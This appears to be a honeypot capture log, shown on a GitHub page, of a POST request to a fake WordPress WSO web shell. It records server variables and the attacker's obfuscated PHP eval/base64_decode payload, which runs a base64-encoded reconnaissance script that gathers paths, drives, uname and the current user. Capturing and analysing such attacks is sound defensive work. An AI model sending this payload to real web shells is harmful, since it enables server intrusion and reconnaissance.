-
Notifications
You must be signed in to change notification settings - Fork 41
/
175.155.252.85WqA-txDZjytu9xO2kkgHcAAAAAM.wso.scans
59 lines (54 loc) · 3.14 KB
/
175.155.252.85WqA-txDZjytu9xO2kkgHcAAAAAM.wso.scans
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
_SERVER
Array
(
[UNIQUE_ID] => WqA-txDZjytu9xO2kkgHcAAAAAM
[SCRIPT_URL] => /wp-content/themes/twentytwelve/404.php
[SCRIPT_URI] => http://www.stratigery.com/wp-content/themes/twentytwelve/404.php
[CONTENT_TYPE] => application/x-www-form-urlencoded
[HTTP_USER_AGENT] => Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://www.baidu.com/search/spider.html) Mozilla/5.0+(compatible;+Googlebot/2.1;++http://www.google.com/bot.html)
[HTTP_X_FORWARDED_FOR] => 65.82.193.21
[HTTP_VIA] => 65.82.193.21
[HTTP_ACCEPT] => */*
[CONTENT_LENGTH] => 1495
[HTTP_HOST] => www.stratigery.com
[HTTP_CONNECTION] => Keep-Alive
[PATH] => /usr/local/sbin:/usr/local/bin:/usr/bin
[SERVER_SIGNATURE] =>
[SERVER_SOFTWARE] => Apache/2.4.29 (Unix) PHP/7.2.2
[SERVER_NAME] => www.stratigery.com
[SERVER_ADDR] => 162.246.45.144
[SERVER_PORT] => 80
[REMOTE_ADDR] => 175.155.252.85
[DOCUMENT_ROOT] => /srv/http/stratigery/htdocs
[REQUEST_SCHEME] => http
[CONTEXT_PREFIX] =>
[CONTEXT_DOCUMENT_ROOT] => /srv/http/stratigery/htdocs
[SERVER_ADMIN] => [email protected]
[SCRIPT_FILENAME] => /srv/http/stratigery/htdocs/fake_wp/wso.php
[REMOTE_PORT] => 3517
[GATEWAY_INTERFACE] => CGI/1.1
[SERVER_PROTOCOL] => HTTP/1.1
[REQUEST_METHOD] => POST
[QUERY_STRING] =>
[REQUEST_URI] => /wp-content/themes/twentytwelve/404.php
[SCRIPT_NAME] => /wp-content/themes/twentytwelve/404.php
[PHP_SELF] => /wp-content/themes/twentytwelve/404.php
[REQUEST_TIME_FLOAT] => 1520451511.252
[REQUEST_TIME] => 1520451511
)
_REQUEST
Array
(
[@123] => @eval/*™Ð!s ˨Ýã£ÅÄ»ÅÎ*/(${'_P'.'OST'}[z9]/* ›?Àš?à™? ™ã*/(${'_POS'.'T'}[z0]));
[z0] => ODAwODgyO0Bpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7QHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTtlY2hvKCItPnwiKTs7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JHJvb3Q9aXNzZXQoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSk/JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTooaXNzZXQoJF9TRVJWRVJbJ0FQUExfUEhZU0lDQUxfUEFUSCddKT90cmltKCRfU0VSVkVSWydBUFBMX1BIWVNJQ0FMX1BBVEgnXSwiXFwiKTooaXNzZXQoJF9bJ1BBVEhfVFJBTlNMQVRFRCddKT9zdHJfcmVwbGFjZSgkX1NFUlZFUlsiUEhQX1NFTEYiXSk6c3RyX3JlcGxhY2Uoc3RyX3JlcGxhY2UoIi8iLCJcXCIsaXNzZXQoJF9TRVJWRVJbIlBIUF9TRUxGIl0pPyRfU0VSVkVSWyJQSFBfU0VMRiJdOihpc3NldCgkX1NFUlZFUlsiVVJMIl0pPyRfU0VSVkVSWyJVUkwiXTokX1NFUlZFUlsiU0NSSVBUX05BTUUiXSkpLCIiLGlzc2V0KCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk/JF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdOiRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSkpKTskUj0ieyREfXwiLiRyb290LiJ8IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJ8IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7
[z9] => BaSE64_dEcOdE
)
_COOKIE
Array
(
)
_FILES
END _FILES
$my_blog=http://www.stratigery.com/wp-content/themes/twentytwelve
$_REQUEST['z0'] detected. Trying to confirm the recon
Sending ->|SCRIPT_FILENAME|<- back to attacker.